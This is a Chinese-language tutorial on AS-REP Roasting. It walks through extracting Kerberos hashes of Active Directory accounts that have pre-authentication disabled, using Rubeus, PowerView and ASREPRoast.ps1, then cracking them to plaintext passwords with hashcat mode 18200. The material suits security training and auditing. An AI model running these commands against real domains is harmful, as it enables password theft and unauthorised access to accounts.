AS-REP Roasting
我们在Kerberos协议认证原理中讲过,AS_REQ & AS_REP 认证的过程是 Kerberos 身份认证的第一步,该过程又被称为预身份验证。预身份验证主要是为了防止密码脱机爆破。
而如果域用户设置了选项 "Do not require Kerberos preauthentication"(该选项默认没有开启)关闭了预身份验证的话:
攻击者可以使用指定的用户去请求票据,向域控制器发送AS_REQ
请求,此时域控会不作任何验证便将 TGT 票据和加密的 Session-key 等信息返回。因此攻击者就可以对获取到的加密 Session-key 进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。
这种攻击方式被称作 AS-REP Roasting 攻击。下面演示攻击过程。
利用 Rubeus.exe
项目地址:GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
首先我们使用 Rubeus 工具来寻找可以利用的用户并将其哈希值导出
Rubeus.exe asreproast
如上图所示,成功找到了可以利用的用户 bunny 并得到了该用户的哈希,然后我们使用 Hashcat 等工具对获得的 Hash 进行爆破就行了。
将哈希值保存到 hash.txt 中,并且修改为 Hashcat 能识别的格式,即在$krb5asrep
后面添加一个$23
拼接:
然后利用Hashcat爆破就行了:
hashcat.exe -m 18200 hash.txt wordlists.txt --force
#hashcat.exe -m 18200 <哈希值> <字典密码>
如下图所示,爆破成功,得到明文密码:
利用 Powerview.ps1
项目地址:GitHub - EmpireProject/Empire: Empire is a PowerShell and Python post-exploitation agent.
我们也可以利用 Empire 框架下的 powerview.ps1 查找域中设置了 "不需要kerberos预身份验证" 的用户。
Import-Module .\powerview.ps1 #导入模块
Get-DomainUser -PreauthNotRequired #查找在域中设置了"不需要kerberos预身份验证的用户
如上图,我们找到了bunny用户。
使用ASREPRoast.ps1获取AS-REP返回的Hash:
ASREPRoast.ps1 项目地址:GitHub - HarmJ0y/ASREPRoast: Project that retrieves crackable hashes from KRB5 AS-REP responses for users without kerberoast preauthentication enabled.
Import-Module .\ASREPRoast.ps1 #导入模块
Get-ASREPHash -UserName bunny -Domain
#-UserName <用户名> -Domain <域名>
然后我们使用 Hashcat 等工具对获得的 Hash 进行爆破就行了。
将哈希值保存到 hash.txt 中,并且修改为 Hashcat 能识别的格式,即在$krb5asrep
后面添加一个$23
拼接。
然后利用Hashcat爆破就行了:
hashcat.exe -m 18200 hash.txt wordlists.txt --force
#hashcat.exe -m 18200 <哈希值> <字典密码>
如下图所示,爆破成功,得到明文密码: